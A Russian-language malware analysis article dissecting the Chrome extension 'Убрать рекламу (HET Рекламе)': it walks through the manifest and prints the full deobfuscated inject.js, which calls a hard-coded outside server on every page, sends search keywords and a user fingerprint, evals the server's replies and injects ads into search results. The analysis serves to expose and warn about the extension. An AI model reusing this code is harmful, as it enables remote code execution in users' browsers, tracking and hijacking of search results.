В статье приведен пример разбора вредоносного браузерного расширения из Chrome Web Store — «Убрать рекламу (HET Рекламе)».
Информация о расширении
Способ распростанения: Chrome Store
Название: «Убрать рекламу (HET Рекламе)»
ID: eaikmbeeklemcgemabilgpjkanodfmic
Дата последнего обновления (на момент написания статьи): 10 Апреля 2015
Версия расширения: 5.8
Количество пользователей в неделю: 57 000
HET Рекламе для Google Chrome блокирует:
· Рекламу ВКонтакте и Одноклассниках
· Баннеры на всех сайтах
· Видео рекламу на Youtube
· Всплывающие окна на всех сайтах
· Любую отвлекающую и назойливую рекламу
Уникальный алгоритм самообучения!
Сделайте свой браузер машиной по переработке и устранению рекламы!
Введение
Причины опубликовать обзор именно этого расширения:
— во-первых, оно находится в Chrome Store и это является показателем того, что в магазине успешно существуют вредоносные расширения;
— во-вторых, расширение имеет не малую аудиторию, которая может даже и не знает, что у них стоит данное расширение;
— в-третьих, вредоносность данного расширения особо не прикрыта, и поэтому материал может быть доступен более широкой аудитрии.
Обзор расширения
Чтобы сделать обзор необходимо получить код расширения.
Для этого установим его из Chrome Store и найдем исходные файлы расширения в соответствующей папке браузера Chrome.
В моем случае, это папка:
%appdata%GoogleChromeUser DataDefaultExtensionseaikmbeeklemcgemabilgpjkanodfmic
Структура файлов в данной папке:
| extension |- 16.png |- 48.png |- 128.png |- detector.js |- inject.js |- jquery-2.1.1.min.js |- manifest.json |- md5.js
Замечание 1
Расширение подобного рода не может заниматься гениальной работой с DOM и не требует кроссбраузерность. Поэтому, в лучшем случае, из jquery может понадобится 5 функций, которые видимо сложно было написать, поэтому решили взять библиотеку.
Идем далее.
Всякое расширение для chromium-браузеров начинает свой путь с файла manifest.json.
Открываем его:
{
"content_scripts": [ {
"js": [ "md5.js", "detector.js", "jquery-2.1.1.min.js", "inject.js" ],
"matches": [ "http://*/*", "https://*/*" ],
"run_at": "document_start"
} ],
"description": "...",
"icons": {
"128": "128.png",
"16": "16.png",
"48": "48.png"
},
"manifest_version": 2,
"name": "Убрать рекламу (HET Рекламе)",
"update_url": "https://clients2.google.com/service/update2/crx",
"version": "5.8"
}
Замечание 2
Расширение внедряет все свои скрипты в каждую открытую вами страницу. Это плохо и с точки зрения безопастности, и с точки зрения производительности.
Итак, на каждой странице мы имеем следующие js-файлы:
- md5.js - detector.js - jquery-2.1.1.min.js - inject.js
На мой взгляд, самый подозрительный файл из названия — это inject.js. Поэтому начнем с него, а если понадобится то взглянем и на остальные.
Файл обфусцирован, если это можно так назвать. Приведу первые символы, а вы догадайтесь чем же он обфусцирован:
eval(function(p,a,c,k,e,d){...
Те, кто встречался с обфускаей, разочаровано сейчас вздохнули «Как банально. Что-то типа этого». Мне обычно в такие моменты вспоминается следующая цитата из фильма Большой куш (Snatch):
— *****-колотить, держите меня крепче! Это что такое?
— Это мой ремень.
— Нет, Томми, у тебя пистолет в штанах. Что делает пистолет у тебя в штанах?
— Это для защиты.
— Для защиты от кого? От фашистов что ли? Ты не боишься отстрелить себе яйца, когда присядешь?
Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier. Имеем:
(function () {
var host = 'http://5.61.39.110/';
var aid = '49207271-5844-11e4-a8cb-a0b3cce611e4';
var ttl = 350;
var MAX_TTL = 3600;
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min
}
function ss(str) {
return (str + '')
.replace(/\(.?)/g, function (s, n1) {
switch (n1) {
case '\':
return '\';
case '0':
return 'u0000';
case '':
return '';
default:
return n1
}
})
}
function getKeyword() {
try {
var ses = [
[/google./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/search.yahoo./i, /(?|&)p=(.*?)(&|$)/i, 2],
[/bing.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
[/search.aol./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/ask.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
[/altavista./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/search.lycos./i, /(?|&)query=(.*?)(&|$)/i, 2],
[/alltheweb./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/yandex./i, /(?|&)text=(.*?)(&|$)/i, 2],
[/(nova.|search.)?rambler./i, /(?|&)query=(.*?)(&|$)/i, 2],
[/gogo./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/go.mail./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/nigma./i, /(?|&)s=(.*?)(&|$)/i, 2]
];
var q = null;
var ref = document.location.href;
for (var i = 0; i < ses.length; i++) {
var se = ses[i];
if (ref.match(se[0])) {
q = ref.match(se[1])[se[2]];
break
}
}
return q
} catch (e) {
return
}
}
function getDomain(data) {
var a = document.createElement('a');
a.href = data;
return a.hostname
}
function url() {
return getDomain(document.location.href)
}
function strips(str) {
str = str.replace(/(?:\[rn]|[rn]+)+/g, "");
str = str.replace(/s+/g, "");
return str
}
function isHtml5StorageSupported() {
try {
return 'localStorage' in window && window['localStorage'] !== null
} catch (e) {
return false
}
}
function getCountry() {
if (isHtml5StorageSupported()) {
return localStorage.getItem('country')
} else {
return null
}
}
function getData() {
if (isHtml5StorageSupported()) {
return JSON.parse(localStorage.getItem('data'))
} else {
return null
}
}
function setData(value) {
if (isHtml5StorageSupported()) {
localStorage.setItem('data', value)
}
}
function getRequestInterval() {
var retVal = Math.round(new Date()
.getTime() / 1000 / 60);
if (isHtml5StorageSupported()) {
var value = localStorage.getItem('xdata_ttl');
if (value == null) {
localStorage.setItem('xdata_ttl', retVal)
} else {
retVal = value * 1
}
}
return retVal
}
function resetTTL() {
if (isHtml5StorageSupported()) {
localStorage.setItem('xttl', ttl)
}
}
function getTTL() {
var retVal = ttl;
if (isHtml5StorageSupported()) {
var value = localStorage.getItem('xttl');
if (value != null) {
retVal = value * 1
} else {
localStorage.setItem('xttl', retVal)
}
}
return retVal
}
function incrementTTL() {
var retVal = ttl;
if (isHtml5StorageSupported()) {
var value = localStorage.getItem('xttl');
if (value == null) {
localStorage.setItem('xttl', retVal)
} else {
value = value * 1;
retVal = value + ttl;
if (retVal >= MAX_TTL) {
retVal = ttl
}
localStorage.setItem('xttl', retVal)
}
}
return retVal
}
function isUpdateTime() {
var currentTime = Math.round(new Date()
.getTime() / 1000 / 60);
var ttlOrigin = localStorage.getItem('xttl');
var ownTTL = getTTL();
var result = (currentTime - getRequestInterval() >= ownTTL);
if (result) {
localStorage.setItem('xdata_ttl', currentTime)
}
if (ttlOrigin == null) {
result = true
}
return result
}
function shuffle(o) {
for (var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x) {};
return o
};
function fisherYates(myArray) {
var i = myArray.length;
if (i == 0) return false;
while (--i) {
var j = Math.floor(Math.random() * (i + 1));
var tempi = myArray[i];
var tempj = myArray[j];
myArray[i] = tempj;
myArray[j] = tempi
}
}
function updateKeyword() {
return;
var key = getKeyword();
if (key == undefined || key.length == 0) {
return
}
$.get(host + 'get_content.php', {
'action': 'add_keyword',
'aid': aid,
'guid': guid,
'url': url(),
'key': getKeyword()
})
}
function injectArrayOfAds(advs) {
for (var idx in advs) {
var ad = advs[idx];
if (ad.need_send_view) {
continue
}
var adShownAlready = false;
$(ad.html)
.each(function () {
var self = $(this);
if (self.html()
.indexOf(ad.adv_id) != -1) {
adShownAlready = true;
return false
}
});
if (adShownAlready) {
continue
}
$(ad.html)
.each(function () {
var self = $(this);
var aidElement = $('*[aid='' + aid + '']');
if (self.html()
.indexOf(aid) == -1) {
var clickRedirectionUri = host + 'get_content.php?action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword();
ad.aa_text = ad.aa_text.replace(/{AID}/g, "'aid'='" + aid + "'");
ad.aa_text = ad.aa_text.replace(/{REDIRECT_URL}/g, 'aid='' + aid + '' onClick="self.location='' + clickRedirectionUri + ''; return false;"');
ad.host = host + 'get_content.php?action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id;
if (ad.inject_mode == 1) {
self.html(ad.aa_text);
ad.need_send_view = true;
return false
} else if (ad.inject_mode == 2 && aidElement.length == 0) {
self.before(ad.aa_text);
ad.need_send_view = true;
return false
} else if (ad.inject_mode == 3 && aidElement.length == 0) {
self.after(ad.aa_text);
ad.need_send_view = true;
return false
}
} else {}
})
}
var notify = [];
for (var idx in advs) {
var ad = advs[idx];
if (ad.need_send_view) {
notify.push(ad.adv_id)
}
}
if (notify.length != 0) {}
}
function ucfirst(string) {
return string.charAt(0)
.toUpperCase() + string.slice(1)
}
function checkLoadedPage(data) {
if (data == null || data.message != 'OK')
return;
var gKeywordFound = false;
var keyword = decodeURI(getKeyword());
keyword = keyword.replace(/+/g, ' ');
keyword = keyword.toLowerCase();
var advs = [];
// пробежимся по всем ключам объекта response, полученного с веб-сервера
for (var key in data.response) {
// создадим для каждого jquery-элемент на основании того что получено с веб-сервера
var element = data.response[key];
var foundHtml = $(element.html);
if (foundHtml.length == 0) {
continue
}
// если присланный данные не имеют свойства advs (рекламы другими словами)
if (element.advs == undefined) {
data.response[key].advs = [];
// делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)
$.ajax({
url: host + 'get_content.php',
type: "GET",
data: {
'action': 'get_adv_cached',
'aid': aid,
'guid': guid,
'url': url(),
'gender': '*',
'ap_id': element.ap_id,
'key': getKeyword(),
'country': data.country
},
async: false,
success: function (result) {
try {
// еще один eval ...
var dd = eval('(' + result + ')');
// сохраняем данные о рекламе в нашем объекте
for (var rs in dd.response) {
data.response[key].advs.push(dd.response[rs])
}
// а ребята все-таки умеют пользоваться JSON.stringify
setData(JSON.stringify(data))
} catch (e) {
console.log(e)
}
}
})
} else {
// Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы
for (var adv in element.advs) {
var ad = element.advs[adv];
if (ad.ar_text == null) {
advs.push(ad);
continue
}
var splitted = ad.ar_text.split('rn');
for (var idx in splitted) {
if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {
continue
}
ad.aa_text = ad.aa_text.replace(/{KEYWORD}/g, keyword);
ad.aa_text = ad.aa_text.replace(/{KEYWORD_B}/g, ucfirst(keyword));
ad.aa_text = ad.aa_text.replace(/{KEYWORD_CONTEXT}/g, splitted[idx]);
ad.aa_text = ad.aa_text.replace(/{KEYWORD_CONTEXT_B}/g, ucfirst(splitted[idx]));
// Вставляем рекламу
injectArrayOfAds([ad]);
gKeywordFound = true;
break
}
}
}
}
if (!gKeywordFound && advs.length != 0) {
injectArrayOfAds(advs)
}
}
guid = '';
try {
guid = pstfgrpnt_as_hash()
} catch (e) {
guid = 'chrome_u'
}
var isLoading = false;
var main = function () {
if (isUpdateTime()) {
console.log("CHECKING FOR UPDATE...");
isLoading = true;
$.get(host + 'get_content.php', {
'action': 'get_places_cached',
'aid': aid,
'guid': guid,
'gender': '*'
}, function (result) {
try {
data = eval('(' + result + ')');
if (data.message != 'OK') {
return
}
setData(JSON.stringify(data));
resetTTL();
console.log("UPD SUCCESS")
} catch (e) {
console.log(e);
return
} finally {
isLoading = false
}
})
.error(function (jqXHR, textStatus, errorThrown) {
incrementTTL();
console.log('REQUEST FAILED, NEXT CHECK IN ' + getTTL())
});
console.log("CHECKING FOR UPDATE DONE")
}
};
main();
var id = setInterval(function () {
main()
}, 100);
setInterval(function () {
var data = getData();
if (data == null) {
return
}
checkLoadedPage(data)
}, 100)
})();
Читаем полученный код. Оставлю только интересные моменты:
// ниже данная функция вызывается
var main = function () {
// нужно ли обновляться
if (isUpdateTime()) {
// ...
// полный url имеет вид http://5.61.39.110/get_content.php
$.get(host + 'get_content.php',
// ...
function (result) {
try {
data = eval('(' + result + ')');
// ...
} catch (e) {
// ...
}
// ...
});
// ...
}
};
main();
В данной функции идет получение данных с веб-сервера.
Замечание 3
А что происходит с ответом? А происходит следующее:
data = eval('(' + result + ')');
Т.е. на каждом сайте выполняется любой код, который прислал веб-сервер. Другими словами, этот код может увести куки, может отправить какую-то информацию о вас (пароли), может сделать все, что угодно на любой странице, которую вы посетили.
Вроде бы уже и этого достаточно, чтобы считать расширение вредоносным, но продолжим дальше. Вдруг у кого-нибудь возникнут мысли, что на самом деле разработчики честные и просто забыли про JSON.parse.
Идем далее.
Ниже вызова функции main() есть вызов функции checkLoadedPage().
// пробежимся по всем ключам объекта response, полученного с веб-сервера
for (var key in data.response) {
// создадим для каждого jquery-элемент на основании того что получено с веб-сервера
var element = data.response[key];
var foundHtml = $(element.html);
if (foundHtml.length == 0) {
continue
}
// если присланный данные не имеют свойства advs (рекламы другими словами)
if (element.advs == undefined) {
data.response[key].advs = [];
// делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)
$.ajax({
url: host + 'get_content.php',
type: "GET",
data: {
// ...
},
async: false,
success: function (result) {
try {
// еще один eval ...
var dd = eval('(' + result + ')');
// сохраняем данные о рекламе в нашем объекте
for (var rs in dd.response) {
data.response[key].advs.push(dd.response[rs])
}
// а ребята все-таки умеют пользоваться JSON.stringify
setData(JSON.stringify(data))
} catch (e) {
console.log(e)
}
}
})
} else {
// Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы
for (var adv in element.advs) {
var ad = element.advs[adv];
if (ad.ar_text == null) {
advs.push(ad);
continue
}
var splitted = ad.ar_text.split('rn');
for (var idx in splitted) {
if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {
continue
}
ad.aa_text = ad.aa_text.replace(/{KEYWORD}/g, keyword);
// ...
// Вставляем рекламу
injectArrayOfAds([ad]);
// ...
break
}
}
}
}
if (!gKeywordFound && advs.length != 0) {
injectArrayOfAds(advs)
}
Замечание 4
Данная функция меняет поисковую выдачу для следующих поисковых систем:
var ses = [
[/google./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/search.yahoo./i, /(?|&)p=(.*?)(&|$)/i, 2],
[/bing.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
[/search.aol./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/ask.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
[/altavista./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/search.lycos./i, /(?|&)query=(.*?)(&|$)/i, 2],
[/alltheweb./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/yandex./i, /(?|&)text=(.*?)(&|$)/i, 2],
[/(nova.|search.)?rambler./i, /(?|&)query=(.*?)(&|$)/i, 2],
[/gogo./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/go.mail./i, /(?|&)q=(.*?)(&|$)/i, 2],
[/nigma./i, /(?|&)s=(.*?)(&|$)/i, 2]
];
Собственно, по этой проблеме и поступили жалобы от пользователей.
Резюме по расширению
- избыточный код (это ресурсы вашего компьютера);
- весь код расширения запускается на каждой странице (это ресурсы вашего компьютера);
- расширение выполняет любой код, присланный с веб-сервера (просто приведу набор словосочетаний — онлайн-банкинг, пароли, сообщения, анонимность);
- расширение дополнительно вставляет свою поисковую выдачу.
P.S. Если кому-то покажется странным подход к обзору расширения «Причем тут jquery? Причем тут плохая структура кода?», сразу даю ответ: факт того, что расширение требует больше прав, чем нужно, вставляет код на страницы больше, чем нужно — является первым признаком вредоносного расширения.
Автор: SDI